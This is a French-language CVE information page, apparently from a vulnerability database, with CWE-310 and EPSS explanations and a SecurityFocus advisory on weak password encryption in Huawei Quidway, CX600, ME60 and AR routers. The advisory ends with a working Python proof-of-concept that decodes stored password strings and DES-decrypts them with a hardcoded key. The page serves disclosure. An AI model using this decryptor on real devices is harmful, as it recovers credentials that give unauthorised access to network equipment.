Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/56510/info Multiple Huawei products are prone to a weak password encryption weakness. Successful exploits may allow an attacker to decrypt stored passwords; this may aid in further attacks. The following are vulnerable: Huawei Quidway series Huawei CX600 V600R001 Huawei CX600 V600R003C00SPC900 Huawei ME60 V600R002C07 and prior versions AR 19/29/49 R2207 and prior versions from Crypto.Cipher import DES def decode_char(c): if c == 'a': r = '?' else: r = c return ord(r) - ord('!') def ascii_to_binary(s): assert len(s) == 24 out = [0]*18 i = 0 j = 0 for i in range(0, len(s), 4): y = decode_char(s[i + 0]) y = (y << 6) & 0xffffff k = decode_char(s[i + 1]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 2]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 3]) y = (y | k) & 0xffffff out[j+2] = chr(y & 0xff) out[j+1] = chr((y>>8) & 0xff) out[j+0] = chr((y>>16) & 0xff) j += 3 return "".join(out) def decrypt_password(p): r = ascii_to_binary(p) r = r[:16] d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB) r = d.decrypt(r) return r.rstrip("\x00")
